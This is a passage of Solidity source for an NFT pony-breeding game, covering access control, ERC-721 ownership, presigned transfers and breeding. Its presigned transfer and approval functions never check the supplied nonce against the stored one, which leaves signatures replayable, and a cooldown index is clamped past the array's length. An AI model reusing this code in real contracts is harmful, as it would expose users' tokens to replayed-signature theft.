function processCooldown(uint16 childGen, uint256 targetBlock) public returns (uint16);
// calculate the result for upgrading pony
function upgradePonyResult(uint8 unicornation, uint256 targetBlock) public returns (bool);
function setMatingSeason(bool _isMatingSeason) public returns (bool);
}
/// @title Interface for contracts conforming to ERC-20
interface ERC20 {
//core ERC20 functions
function transfer(address _to, uint _value) external returns (bool success);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transferFrom(address from, address to, uint256 value) external returns (bool success);
function transferPreSigned(bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce) external returns (bool);
function recoverSigner(bytes _signature, address _to, uint256 _value, uint256 _fee, uint256 _nonce) external view returns (address);
}
/**
* @title Signature verifier
* @dev To verify C level actions
*/
contract SignatureVerifier {
function splitSignature(bytes sig)
internal
pure
returns (uint8, bytes32, bytes32)
{
require(sig.length == 65);
bytes32 r;
bytes32 s;
uint8 v;
assembly {
// first 32 bytes, after the length prefix
r := mload(add(sig, 32))
// second 32 bytes
s := mload(add(sig, 64))
// final byte (first byte of the next 32 bytes)
v := byte(0, mload(add(sig, 96)))
}
return (v, r, s);
}
function recover(bytes32 hash, bytes sig) public pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
//Check the signature length
if (sig.length != 65) {
return (address(0));
}
// Divide the signature in r, s and v variables
(v, r, s) = splitSignature(sig);
// Version of signature should be 27 or 28, but 0 and 1 are also possible versions
if (v < 27) {
v += 27;
}
// If the version is correct return the signer address
if (v != 27 && v != 28) {
return (address(0));
} else {
bytes memory prefix = "\x19Ethereum Signed Message:\n32";
bytes32 prefixedHash = keccak256(abi.encodePacked(prefix, hash));
return ecrecover(prefixedHash, v, r, s);
}
}
}
/**
* @title A DEKLA token access control
* @author DEKLA (https://www.dekla.io)
* @dev The Dekla token has 3 C level address to manage.
* They can execute special actions but it need to be approved by another C level address.
*/
contract AccessControl is SignatureVerifier {
using SafeMath for uint256;
// C level address that can execute special actions.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
address public systemAddress;
uint256 public CLevelTxCount_ = 0;
mapping(address => uint256) nonces;
// @dev C level transaction must be approved with another C level address
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
// @dev return true if transaction already signed by a C Level address
// @param _message The string to be verify
function signedByCLevel(
bytes32 _message,
bytes _sig
)
internal
view
onlyCLevel
returns (bool)
{
address signer = recover(_message, _sig);
require(signer != msg.sender);
return (
signer == cooAddress ||
signer == ceoAddress ||
signer == cfoAddress
);
}
// @dev return true if transaction already signed by a C Level address
// @param _message The string to be verify
// @param _sig the signature from signing the _message with system key
function signedBySystem(
bytes32 _message,
bytes _sig
)
internal
view
returns (bool)
{
address signer = recover(_message, _sig);
require(signer != msg.sender);
return (
signer == systemAddress
);
}
/**
* @notice Hash (keccak256) of the payload used by setCEO
* @param _newCEO address The address of the new CEO
* @param _nonce uint256 setCEO transaction number.
*/
function getCEOHashing(address _newCEO, uint256 _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A0E94), _newCEO, _nonce));
}
// @dev Assigns a new address to act as the CEO. The C level transaction, must verify.
// @param _newCEO The address of the new CEO
// @param _sig the signature from signing the _message with CEO key
function setCEO(
address _newCEO,
bytes _sig
) external onlyCLevel {
require(
_newCEO != address(0) &&
_newCEO != cfoAddress &&
_newCEO != cooAddress
);
bytes32 hashedTx = getCEOHashing(_newCEO, nonces[msg.sender]);
require(signedByCLevel(hashedTx, _sig));
nonces[msg.sender]++;
ceoAddress = _newCEO;
CLevelTxCount_++;
}
/**
* @notice Hash (keccak256) of the payload used by setCFO
* @param _newCFO address The address of the new CFO
* @param _nonce uint256 setCFO transaction number.
*/
function getCFOHashing(address _newCFO, uint256 _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A0E95), _newCFO, _nonce));
}
// @dev Assigns a new address to act as the CFO. The C level transaction, must verify.
// @param _newCFO The address of the new CFO
function setCFO(
address _newCFO,
bytes _sig
) external onlyCLevel {
require(
_newCFO != address(0) &&
_newCFO != ceoAddress &&
_newCFO != cooAddress
);
bytes32 hashedTx = getCFOHashing(_newCFO, nonces[msg.sender]);
require(signedByCLevel(hashedTx, _sig));
nonces[msg.sender]++;
cfoAddress = _newCFO;
CLevelTxCount_++;
}
/**
* @notice Hash (keccak256) of the payload used by setCOO
* @param _newCOO address The address of the new COO
* @param _nonce uint256 setCO transaction number.
*/
function getCOOHashing(address _newCOO, uint256 _nonce) public pure returns (bytes32) {
return keccak256(abi.encodePacked(bytes4(0x486A0E96), _newCOO, _nonce));
}
// @dev Assigns a new address to act as the COO. The C level transaction, must verify.
// @param _newCOO The address of the new COO, _sig signature used to verify COO address
// @param _sig the signature from signing the _newCOO with 1 of the C-level key
function setCOO(
address _newCOO,
bytes _sig
) external onlyCLevel {
require(
_newCOO != address(0) &&
_newCOO != ceoAddress &&
_newCOO != cfoAddress
);
bytes32 hashedTx = getCOOHashing(_newCOO, nonces[msg.sender]);
require(signedByCLevel(hashedTx, _sig));
nonces[msg.sender]++;
cooAddress = _newCOO;
CLevelTxCount_++;
}
function getNonces(address _sender) public view returns (uint256) {
return nonces[_sender];
}
}
/// @title A facet of PonyCore that manages special access privileges.
contract PonyAccessControl is AccessControl {
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
/// @dev See the PonyCore contract documentation to understand how the various contract facets are arranged.
contract PonyBase is PonyAccessControl {
/*** EVENTS ***/
/// @dev The Birth event is fired whenever a new pony comes into existence. This obviously
/// includes any time a pony is created through the giveBirth method, but it is also called
/// when a new gen0 pony is created.
event Birth(address owner, uint256 ponyId, uint256 matronId, uint256 sireId, uint256 genes);
/// @dev Transfer event as defined in current draft of ERC721. Emitted every time a pony
/// ownership is assigned, including births.
event Transfer(address from, address to, uint256 tokenId);
/*** DATA TYPES ***/
/// @dev The main Pony struct. Every pony in MyEtherPonies is represented by a copy
/// of this structure, so great care was taken to ensure that it fits neatly into
/// exactly two 256-bit words. Note that the order of the members in this structure
/// is important because of the byte-packing rules used by Ethereum.
/// Ref: http://solidity.readthedocs.io/en/develop/miscellaneous.html
struct Pony {
// The Pony's genetic code is packed into these 256-bits, the format is
// sooper-sekret! A pony's genes never change.
uint256 genes;
// The timestamp from the block when this pony came into existence.
uint64 birthTime;
// The minimum timestamp after which this pony can engage in breeding
// activities again. This same timestamp is used for the pregnancy
// timer (for matrons) as well as the siring cooldown.
uint64 cooldownEndBlock;
// The ID of the parents of this Pony, set to 0 for gen0 ponies.
// Note that using 32-bit unsigned integers limits us to a "mere"
// 4 billion ponies. This number might seem small until you realize
// that Ethereum currently has a limit of about 500 million
// transactions per year! So, this definitely won't be a problem
// for several years (even as Ethereum learns to scale).
uint32 matronId;
uint32 sireId;
// Set to the ID of the sire pony for matrons that are pregnant,
// zero otherwise. A non-zero value here is how we know a pony
// is pregnant. Used to retrieve the genetic material for the new
// pony when the birth transpires.
uint32 matingWithId;
// Set to the index in the cooldown array (see below) that represents
// the current cooldown duration for this Pony. This starts at zero
// for gen0 ponies, and is initialized to floor(generation/2) for others.
// Incremented by one for each successful breeding action, regardless
// of whether this ponies is acting as matron or sire.
uint16 cooldownIndex;
// The "generation number" of this pony. ponies minted by the EP contract
// for sale are called "gen0" and have a generation number of 0. The
// generation number of all other ponies is the larger of the two generation
// numbers of their parents, plus one.
// (i.e. max(matron.generation, sire.generation) + 1)
uint16 generation;
uint16 txCount;
uint8 unicornation;
}
/*** CONSTANTS ***/
/// @dev A lookup table indicating the cooldown duration after any successful
/// breeding action, called "pregnancy time" for matrons and "siring cooldown"
/// for sires. Designed such that the cooldown roughly doubles each time a pony
/// is bred, encouraging owners not to just keep breeding the same pony over
/// and over again. Caps out at one week (a pony can breed an unbounded number
/// of times, and the maximum cooldown is always seven days).
uint32[10] public cooldowns = [
uint32(1 minutes),
uint32(5 minutes),
uint32(30 minutes),
uint32(1 hours),
uint32(4 hours),
uint32(8 hours),
uint32(1 days),
uint32(2 days),
uint32(4 days),
uint32(7 days)
];
uint8[5] public incubators = [
uint8(5),
uint8(10),
uint8(15),
uint8(20),
uint8(25)
];
// An approximation of currently how many seconds are in between blocks.
uint256 public secondsPerBlock = 15;
/*** STORAGE ***/
/// @dev An array containing the Pony struct for all Ponies in existence. The ID
/// of each pony is actually an index into this array. Note that ID 0 is a genesispony,
/// the unPony, the mythical beast that is the parent of all gen0 ponies. A bizarre
/// creature that is both matron and sire... to itself! Has an invalid genetic code.
/// In other words, pony ID 0 is invalid... ;-)
Pony[] ponies;
/// @dev A mapping from ponies IDs to the address that owns them. All ponies have
/// some valid owner address, even gen0 ponies are created with a non-zero owner.
mapping(uint256 => address) public ponyIndexToOwner;
// @dev A mapping from owner address to count of tokens that address owns.
// Used internally inside balanceOf() to resolve ownership count.
mapping(address => uint256) ownershipTokenCount;
/// @dev A mapping from PonyIDs to an address that has been approved to call
/// transferFrom(). Each Pony can only have one approved address for transfer
/// at any time. A zero value means no approval is outstanding.
mapping(uint256 => address) public ponyIndexToApproved;
/// @dev A mapping from PonyIDs to an address that has been approved to use
/// this Pony for siring via breedWith(). Each Pony can only have one approved
/// address for siring at any time. A zero value means no approval is outstanding.
mapping(uint256 => address) public matingAllowedToAddress;
mapping(address => bool) public hasIncubator;
/// @dev The address of the ClockAuction contract that handles sales of Ponies. This
/// same contract handles both peer-to-peer sales as well as the gen0 sales which are
/// initiated every 15 minutes.
SaleClockAuction public saleAuction;
/// @dev The address of a custom ClockAuction subclassed contract that handles siring
/// auctions. Needs to be separate from saleAuction because the actions taken on success
/// after a sales and siring auction are quite different.
SiringClockAuction public siringAuction;
BiddingClockAuction public biddingAuction;
/// @dev Assigns ownership of a specific Pony to an address.
function _transfer(address _from, address _to, uint256 _tokenId) internal {
// Since the number of ponies is capped to 2^32 we can't overflow this
ownershipTokenCount[_to]++;
// transfer ownership
ponyIndexToOwner[_tokenId] = _to;
// When creating new ponies _from is 0x0, but we can't account that address.
if (_from != address(0)) {
ownershipTokenCount[_from]--;
// once the pony is transferred also clear sire allowances
delete matingAllowedToAddress[_tokenId];
// clear any previously approved ownership exchange
delete ponyIndexToApproved[_tokenId];
}
// Emit the transfer event.
emit Transfer(_from, _to, _tokenId);
}
/// @dev An internal method that creates a new Pony and stores it. This
/// method doesn't do any checking and should only be called when the
/// input data is known to be valid. Will generate both a Birth event
/// and a Transfer event.
/// @param _matronId The Pony ID of the matron of this pony (zero for gen0)
/// @param _sireId The Pony ID of the sire of this pony (zero for gen0)
/// @param _generation The generation number of this pony, must be computed by caller.
/// @param _genes The Pony's genetic code.
/// @param _owner The inital owner of this pony, must be non-zero (except for the unPony, ID 0)
function _createPony(
uint256 _matronId,
uint256 _sireId,
uint256 _generation,
uint256 _genes,
address _owner,
uint16 _cooldownIndex
)
internal
returns (uint)
{
// These requires are not strictly necessary, our calling code should make
// sure that these conditions are never broken. However! _createPony() is already
// an expensive call (for storage), and it doesn't hurt to be especially careful
// to ensure our data structures are always valid.
require(_matronId == uint256(uint32(_matronId)));
require(_sireId == uint256(uint32(_sireId)));
require(_generation == uint256(uint16(_generation)));
Pony memory _pony = Pony({
genes : _genes,
birthTime : uint64(now),
cooldownEndBlock : 0,
matronId : uint32(_matronId),
sireId : uint32(_sireId),
matingWithId : 0,
cooldownIndex : _cooldownIndex,
generation : uint16(_generation),
unicornation : 0,
txCount : 0
});
uint256 newPonyId = ponies.push(_pony) - 1;
require(newPonyId == uint256(uint32(newPonyId)));
// emit the birth event
emit Birth(
_owner,
newPonyId,
uint256(_pony.matronId),
uint256(_pony.sireId),
_pony.genes
);
// This will assign ownership, and also emit the Transfer event as
// per ERC721 draft
_transfer(0, _owner, newPonyId);
return newPonyId;
}
// Any C-level can fix how many seconds per blocks are currently observed.
function setSecondsPerBlock(uint256 secs) external onlyCLevel {
require(secs < cooldowns[0]);
secondsPerBlock = secs;
}
}
/// @title The facet of the EtherPonies core contract that manages ownership, ERC-721 (draft) compliant.
/// @author Dekla (https://www.dekla.io)
/// @dev Ref: https://github.com/ethereum/EIPs/issues/721
/// See the PonyCore contract documentation to understand how the various contract facets are arranged.
contract PonyOwnership is PonyBase, ERC721 {
/// @notice Name and symbol of the non fungible token, as defined in ERC721.
string public constant name = "EtherPonies";
string public constant symbol = "EP";
bytes4 constant InterfaceSignature_ERC165 =
bytes4(keccak256('supportsInterface(bytes4)'));
bytes4 constant InterfaceSignature_ERC721 =
bytes4(keccak256('name()')) ^
bytes4(keccak256('symbol()')) ^
bytes4(keccak256('totalSupply()')) ^
bytes4(keccak256('balanceOf(address)')) ^
bytes4(keccak256('ownerOf(uint256)')) ^
bytes4(keccak256('approve(address,uint256)')) ^
bytes4(keccak256('transfer(address,uint256)')) ^
bytes4(keccak256('transferFrom(address,address,uint256)')) ^
bytes4(keccak256('tokensOfOwner(address)')) ^
bytes4(keccak256('tokenMetadata(uint256,string)'));
/// @notice Introspection interface as per ERC-165 (https://github.com/ethereum/EIPs/issues/165).
/// Returns true for any standardized interfaces implemented by this contract. We implement
/// ERC-165 (obviously!) and ERC-721.
function supportsInterface(bytes4 _interfaceID) external view returns (bool)
{
// DEBUG ONLY
//require((InterfaceSignature_ERC165 == 0x01ffc9a7) && (InterfaceSignature_ERC721 == 0x9a20483d));
return ((_interfaceID == InterfaceSignature_ERC165) || (_interfaceID == InterfaceSignature_ERC721));
}
// Internal utility functions: These functions all assume that their input arguments
// are valid. We leave it to public methods to sanitize their inputs and follow
// the required logic.
/// @dev Checks if a given address is the current owner of a particular Pony.
/// @param _claimant the address we are validating against.
/// @param _tokenId pony id, only valid when > 0
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ponyIndexToOwner[_tokenId] == _claimant;
}
/// @dev Checks if a given address currently has transferApproval for a particular Pony.
/// @param _claimant the address we are confirming pony is approved for.
/// @param _tokenId pony id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return ponyIndexToApproved[_tokenId] == _claimant;
}
/// @dev Marks an address as being approved for transferFrom(), overwriting any previous
/// approval. Setting _approved to address(0) clears all transfer approval.
/// NOTE: _approve() does NOT send the Approval event. This is intentional because
/// _approve() and transferFrom() are used together for putting Ponies on auction, and
/// there is no value in spamming the log with Approval events in that case.
function _approve(uint256 _tokenId, address _approved) internal {
ponyIndexToApproved[_tokenId] = _approved;
}
/// @notice Returns the number of Ponies owned by a specific address.
/// @param _owner The owner address to check.
/// @dev Required for ERC-721 compliance
function balanceOf(address _owner) public view returns (uint256 count) {
return ownershipTokenCount[_owner];
}
/// @notice Transfers a Pony to another address. If transferring to a smart
/// contract be VERY CAREFUL to ensure that it is aware of ERC-721 (or
/// EtherPonies specifically) or your Pony may be lost forever. Seriously.
/// @param _to The address of the recipient, can be a user or contract.
/// @param _tokenId The ID of the Pony to transfer.
/// @dev Required for ERC-721 compliance.
function transfer(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any ponies (except very briefly
// after a gen0 pony is created and before it goes on auction).
require(_to != address(this));
// You can only send your own pony.
require(_owns(msg.sender, _tokenId));
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(msg.sender, _to, _tokenId);
}
/// @notice Grant another address the right to transfer a specific Pony via
/// transferFrom(). This is the preferred flow for transfering NFTs to contracts.
/// @param _to The address to be granted transfer approval. Pass address(0) to
/// clear all approvals.
/// @param _tokenId The ID of the Pony that can be transferred if this call succeeds.
/// @dev Required for ERC-721 compliance.
function approve(
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
emit Approval(msg.sender, _to, _tokenId);
}
/// @notice Transfer a Pony owned by another address, for which the calling address
/// has previously been granted transfer approval by the owner.
/// @param _from The address that owns the Pony to be transfered.
/// @param _to The address that should take ownership of the Pony. Can be any address,
/// including the caller.
/// @param _tokenId The ID of the Pony to be transferred.
/// @dev Required for ERC-721 compliance.
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
external
whenNotPaused
{
// Safety check to prevent against an unexpected 0x0 default.
require(_to != address(0));
// Disallow transfers to this contract to prevent accidental misuse.
// The contract should never own any Ponies (except very briefly
// after a gen0 pony is created and before it goes on auction).
require(_to != address(this));
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
/// @notice Returns the total number of Ponies currently in existence.
/// @dev Required for ERC-721 compliance.
function totalSupply() public view returns (uint) {
return ponies.length - 1;
}
/// @notice Returns the address currently assigned ownership of a given Pony.
/// @dev Required for ERC-721 compliance.
function ownerOf(uint256 _tokenId)
external
view
returns (address owner)
{
owner = ponyIndexToOwner[_tokenId];
}
/// @notice Returns a list of all Pony IDs assigned to an address.
/// @param _owner The owner whose Ponies we are interested in.
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Pony array looking for ponies belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) external view returns (uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPonies = totalSupply();
uint256 resultIndex = 0;
// We count on the fact that all ponies have IDs starting at 1 and increasing
// sequentially up to the totalPony count.
uint256 ponyId;
for (ponyId = 1; ponyId <= totalPonies; ponyId++) {
if (ponyIndexToOwner[ponyId] == _owner) {
result[resultIndex] = ponyId;
resultIndex++;
}
}
return result;
}
}
function transferPreSignedHashing(
address _token,
address _to,
uint256 _id,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x486A0E97), _token, _to, _id, _nonce));
}
function transferPreSigned(
bytes _signature,
address _to,
uint256 _id,
uint256 _nonce
)
public
{
require(_to != address(0));
// require(signatures[_signature] == false);
bytes32 hashedTx = transferPreSignedHashing(address(this), _to, _id, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
require(_to != address(this));
// You can only send your own pony.
require(_owns(from, _id));
nonces[from]++;
// Reassign ownership, clear pending approvals, emit Transfer event.
_transfer(from, _to, _id);
}
function approvePreSignedHashing(
address _token,
address _spender,
uint256 _tokenId,
uint256 _nonce
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(_token, _spender, _tokenId, _nonce));
}
function approvePreSigned(
bytes _signature,
address _spender,
uint256 _tokenId,
uint256 _nonce
)
public
returns (bool)
{
require(_spender != address(0));
// require(signatures[_signature] == false);
bytes32 hashedTx = approvePreSignedHashing(address(this), _spender, _tokenId, _nonce);
address from = recover(hashedTx, _signature);
require(from != address(0));
// Only an owner can grant transfer approval.
require(_owns(from, _tokenId));
nonces[from]++;
// Register the approval (replacing any previous approval).
_approve(_tokenId, _spender);
// Emit approval event.
emit Approval(from, _spender, _tokenId);
return true;
}
}
/// @title A facet of PonyCore that manages Pony siring, gestation, and birth.
/// @author Dekla (https://www.dekla.io)
/// @dev See the PonyCore contract documentation to understand how the various contract facets are arranged.
contract PonyBreeding is PonyOwnership {
/// @dev The Pregnant event is fired when two ponies successfully breed and the pregnancy
/// timer begins for the matron.
event Pregnant(address owner, uint256 matronId, uint256 sireId, uint256 cooldownEndBlock);
/// @notice The minimum payment required to use breedWithAuto(). This fee goes towards
/// the gas cost paid by whatever calls giveBirth(), and can be dynamically updated by
/// the COO role as the gas price changes.
uint256 public autoBirthFee = 2 finney;
// Keeps track of number of pregnant Ponies.
uint256 public pregnantPonies;
/// @dev The address of the sibling contract that is used to implement the sooper-sekret
/// genetic combination algorithm.
GeneScienceInterface public geneScience;
/// @dev Update the address of the genetic contract, can only be called by the CEO.
/// @param _address An address of a GeneScience contract instance to be used from this point forward.
function setGeneScienceAddress(address _address) external onlyCEO {
GeneScienceInterface candidateContract = GeneScienceInterface(_address);
// NOTE: verify that a contract is what we expect - https://github.com/Lunyr/crowdsale-contracts/blob/cfadd15986c30521d8ba7d5b6f57b4fefcc7ac38/contracts/LunyrToken.sol#L117
require(candidateContract.isGeneScience());
// Set the new contract address
geneScience = candidateContract;
}
/// @dev Checks that a given pony is able to breed. Requires that the
/// current cooldown is finished (for sires) and also checks that there is
/// no pending pregnancy.
function _isReadyToMate(Pony _pon) internal view returns (bool) {
// In addition to checking the cooldownEndBlock, we also need to check to see if
// the pony has a pending birth; there can be some period of time between the end
// of the pregnacy timer and the birth event.
return (_pon.matingWithId == 0) && (_pon.cooldownEndBlock <= uint64(block.number));
}
/// @dev Check if a sire has authorized breeding with this matron. True if both sire
/// and matron have the same owner, or if the sire has given siring permission to
/// the matron's owner (via approveSiring()).
function _isMatingPermitted(uint256 _sireId, uint256 _matronId) internal view returns (bool) {
address matronOwner = ponyIndexToOwner[_matronId];
address sireOwner = ponyIndexToOwner[_sireId];
// Siring is okay if they have same owner, or if the matron's owner was given
// permission to breed with this sire.
return (matronOwner == sireOwner || matingAllowedToAddress[_sireId] == matronOwner);
}
/// @dev Set the cooldownEndTime for the given Pony, based on its current cooldownIndex.
/// Also increments the cooldownIndex (unless it has hit the cap).
/// @param _pony A reference to the Pony in storage which needs its timer started.
function _triggerCooldown(Pony storage _pony) internal {
// Compute an estimation of the cooldown time in blocks (based on current cooldownIndex).
_pony.cooldownEndBlock = uint64((cooldowns[_pony.cooldownIndex] / secondsPerBlock) + block.number);
// Increment the breeding count, clamping it at 13, which is the length of the
// cooldowns array. We could check the array size dynamically, but hard-coding
// this as a constant saves gas. Yay, Solidity!
if (_pony.cooldownIndex < 13) {
_pony.cooldownIndex += 1;
}
}
function _triggerPregnant(Pony storage _pony, uint8 _incubator) internal {
// Compute an estimation of the cooldown time in blocks (based on current cooldownIndex).
if (_incubator > 0) {
uint64 initialCooldown = uint64(cooldowns[_pony.cooldownIndex] / secondsPerBlock);
_pony.cooldownEndBlock = uint64((initialCooldown - (initialCooldown * incubators[_incubator] / 100)) + block.number);
} else {
_pony.cooldownEndBlock = uint64((cooldowns[_pony.cooldownIndex] / secondsPerBlock) + block.number);
}
// Increment the breeding count, clamping it at 13, which is the length of the
// cooldowns array. We could check the array size dynamically, but hard-coding
// this as a constant saves gas. Yay, Solidity!
if (_pony.cooldownIndex < 13) {
_pony.cooldownIndex += 1;
}
}
/// @notice Grants approval to another user to sire with one of your Ponies.
/// @param _addr The address that will be able to sire with your Pony. Set to
/// address(0) to clear all siring approvals for this Pony.
/// @param _sireId A Pony that you own that _addr will now be able to sire with.
function approveSiring(address _addr, uint256 _sireId)
external
whenNotPaused
{
require(_owns(msg.sender, _sireId));
matingAllowedToAddress[_sireId] = _addr;
}
/// @dev Updates the minimum payment required for calling giveBirthAuto(). Can only
/// be called by the COO address. (This fee is used to offset the gas cost incurred
/// by the autobirth daemon).
function setAutoBirthFee(uint256 val) external onlyCOO {
autoBirthFee = val;
}
/// @dev Checks to see if a given Pony is pregnant and (if so) if the gestation
/// period has passed.
function _isReadyToGiveBirth(Pony _matron) private view returns (bool) {
return (_matron.matingWithId != 0) && (_matron.cooldownEndBlock <= uint64(block.number));
}
/// @notice Checks that a given pony is able to breed (i.e. it is not pregnant or
/// in the middle of a siring cooldown).
/// @param _ponyId reference the id of the pony, any user can inquire about it
function isReadyToMate(uint256 _ponyId)
public
view
returns (bool)
{
require(_ponyId > 0);
Pony storage pon = ponies[_ponyId];
return _isReadyToMate(pon);
}
/// @dev Checks whether a Pony is currently pregnant.
/// @param _ponyId reference the id of the pony, any user can inquire about it
function isPregnant(uint256 _ponyId)
public
view
returns (bool)
{
require(_ponyId > 0);
// A Pony is pregnant if and only if this field is set
return ponies[_ponyId].matingWithId != 0;
}
/// @dev Internal check to see if a given sire and matron are a valid mating pair. DOES NOT
/// check ownership permissions (that is up to the caller).
/// @param _matron A reference to the Pony struct of the potential matron.
/// @param _matronId The matron's ID.
/// @param _sire A reference to the Pony struct of the potential sire.
/// @param _sireId The sire's ID
function _isValidMatingPair(
Pony storage _matron,
uint256 _matronId,
Pony storage _sire,
uint256 _sireId
)
private
view
returns (bool)
{
// A Pony can't breed with itself!
if (_matronId == _sireId) {
return false;
}
// Ponies can't breed with their parents.
if (_matron.matronId == _sireId || _matron.sireId == _sireId) {
return false;
}
if (_sire.matronId == _matronId || _sire.sireId == _matronId) {
return false;
}
// We can short circuit the sibling check (below) if either pony is
// gen zero (has a matron ID of zero).
if (_sire.matronId == 0 || _matron.matronId == 0) {
return true;
}
// Ponies can't breed with full or half siblings.
if (_sire.matronId == _matron.matronId || _sire.matronId == _matron.sireId) {
return false;
}
if (_sire.sireId == _matron.matronId || _sire.sireId == _matron.sireId) {
return false;
}
// Everything seems cool! Let's get DTF.
return true;
}
/// @dev Internal check to see if a given sire and matron are a valid mating pair for
/// breeding via auction (i.e. skips ownership and siring approval checks).
function canMateWithViaAuction(uint256 _matronId, uint256 _sireId)
public
view
returns (bool)
{
Pony storage matron = ponies[_matronId];
Pony storage sire = ponies[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId);
}
/// @notice Checks to see if two ponies can breed together, including checks for
/// ownership and siring approvals. Does NOT check that both ponies are ready for
/// breeding (i.e. breedWith could still fail until the cooldowns are finished).
/// TODO: Shouldn't this check pregnancy and cooldowns?!?
/// @param _matronId The ID of the proposed matron.
/// @param _sireId The ID of the proposed sire.
function canMateWith(uint256 _matronId, uint256 _sireId)
external
view
returns (bool)
{
require(_matronId > 0);
require(_sireId > 0);
Pony storage matron = ponies[_matronId];
Pony storage sire = ponies[_sireId];
return _isValidMatingPair(matron, _matronId, sire, _sireId) &&
_isMatingPermitted(_sireId, _matronId);
}
/// @dev Internal utility function to initiate breeding, assumes that all breeding
/// requirements have been checked.
function _mateWith(uint256 _matronId, uint256 _sireId, uint8 _incubator) internal {
// Grab a reference to the Ponies from storage.
Pony storage sire = ponies[_sireId];
Pony storage matron = ponies[_matronId];
// Mark the matron as pregnant, keeping track of who the sire is.
matron.matingWithId = uint32(_sireId);
// Trigger the cooldown for both parents.
_triggerCooldown(sire);
_triggerPregnant(matron, _incubator);
// Clear siring permission for both parents. This may not be strictly necessary
// but it's likely to avoid confusion!
delete matingAllowedToAddress[_matronId];
delete matingAllowedToAddress[_sireId];
// Every time a Pony gets pregnant, counter is incremented.
pregnantPonies++;
// Emit the pregnancy event.
emit Pregnant(ponyIndexToOwner[_matronId], _matronId, _sireId, matron.cooldownEndBlock);
}
function getIncubatorHashing(
address _sender,
uint8 _incubator,
uint256 txCount
)
public
pure
returns (bytes32)
{
return keccak256(abi.encodePacked(bytes4(0x486A0E98), _sender, _incubator, txCount));
}
/// @notice Breed a Pony you own (as matron) with a sire that you own, or for which you
/// have previously been given Siring approval. Will either make your pony pregnant, or will
/// fail entirely. Requires a pre-payment of the fee given out to the first caller of giveBirth()
/// @param _matronId The ID of the Pony acting as matron (will end up pregnant if successful)
/// @param _sireId The ID of the Pony acting as sire (will begin its siring cooldown if successful)
function mateWithAuto(uint256 _matronId, uint256 _sireId, uint8 _incubator, bytes _sig)
external
payable
whenNotPaused
{
// Checks for payment.
require(msg.value >= autoBirthFee);
// Caller must own the matron.
require(_owns(msg.sender, _matronId));
require(_isMatingPermitted(_sireId, _matronId));
// Grab a reference to the potential matron
Pony storage matron = ponies[_matronId];
// Make sure matron isn't pregnant, or in the middle of a siring cooldown
require(_isReadyToMate(matron));
// Grab a reference to the potential sire
Pony storage sire = ponies[_sireId];
// Make sure sire isn't pregnant, or in the middle of a siring cooldown
require(_isReadyToMate(sire));
// Test that these ponies are a valid mating pair.
require(
_isValidMatingPair(matron, _matronId, sire, _sireId)
);
if (_incubator == 0 && hasIncubator[msg.sender]) {
_mateWith(_matronId, _sireId, _incubator);
} else {
bytes32 hashedTx = getIncubatorHashing(msg.sender, _incubator, nonces[msg.sender]);
require(signedBySystem(hashedTx, _sig));
nonces[msg.sender]++;
// All checks passed, Pony gets pregnant!
if (!hasIncubator[msg.sender]) {
hasIncubator[msg.sender] = true;
}
_mateWith(_matronId, _sireId, _incubator);
}
}
/// @notice Have a pregnant Pony give birth!
/// @param _matronId A Pony ready to give birth.
/// @return The Pony ID of the new pony.
/// @dev Looks at a given Pony and, if pregnant and if the gestation period has passed,
/// combines the genes of the two parents to create a new pony. The new Pony is assigned
/// to the current owner of the matron. Upon successful completion, both the matron and the
/// new pony will be ready to breed again. Note that anyone can call this function (if they
